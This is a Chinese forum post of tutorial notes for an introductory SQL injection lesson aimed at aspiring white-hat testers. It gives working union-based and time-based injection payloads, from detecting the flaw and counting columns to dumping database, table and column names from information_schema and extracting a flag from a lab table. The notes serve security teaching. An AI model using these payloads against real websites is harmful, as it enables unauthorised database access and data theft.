Discuz! Board

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 666|回复: 0
打印 上一主题 下一主题

白帽速成!3天教你一招渗透江湖绝学!网络安全web安全信息安全

[复制链接]

1228

主题

1998

帖子

7598

积分

认证用户组

Rank: 5Rank: 5

积分
7598
跳转到指定楼层
楼主
发表于 2021-7-4 14:54:15 | 只看该作者 |只看大图 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Qter 于 2021-7-4 19:16 编辑

录播用软件:Bandicam

01.从0入门SQL注入

  1. 1.判断是否存在注入,即有没有被当作代码被执行
  2. 显错注入
  3. id=1 and 1=2
  4. id=1 and 1=1
  5. id=1 --> id=2-1

  6. id = 1 and sleep(5)

  7. 2.判断字段数

  8. select * from admin order by 1
  9. 上面和1代码按表admin的第几个列进行排序
  10. 从1开始编号

  11. .../index.php?id=1 order by 3
  12. 有几个列,就有几个字段

  13. 3.判断显错位---显示各字段
  14. .../index.php?id=1 union select 1,2,3

  15. select * from admin union select id,123 from test-----union前后选择出的字段要一致
  16. 如admin有两个字段,则后面可以用123填充,以匹配列数,做填充位


  17. .../index.php?id=1 union select 1,2,3
  18. 这样返回原表的第一条记录

  19. .../index.php?id=1 and 1=2 union select 1,2,3
  20. 这样原表数据不起作用了,后面union语句的1,2,3就是查询的结果了
  21. 即第一条查询不到数据,后面的就起作用
  22. .../index.php?id=100000 union select 1,2,3


  23. url编码 20%代表空格

  24. 4.利用显错位显示库名
  25. select database();--显示库名
  26. .../index.php?id=1 and 1=2 union select 1,database(),database()
  27. --显示表名
  28. .../index.php?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error'
  29. --显示列名
  30. union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag' limit 0,1
  31. union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag' limit 1,1
  32. union select 1,flag,3 from error_flag

  33. 显示所有列
  34. union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='error' and table_name='error_flag'

  35. 如果id字段为字符串的查询,如:
  36. id='1 and 1=2'
  37. 这时要手动把单引号给结束掉,并加注释,防止--后面的空格被忽略,并使用代码中的单引号进入注释
  38. id='1' and 1=2 -- q

复制代码
z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|firemail ( 粤ICP备15085507号-1 )

GMT+8, 2024-5-17 08:56 , Processed in 0.060565 second(s), 22 queries .

Powered by Discuz! X3

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表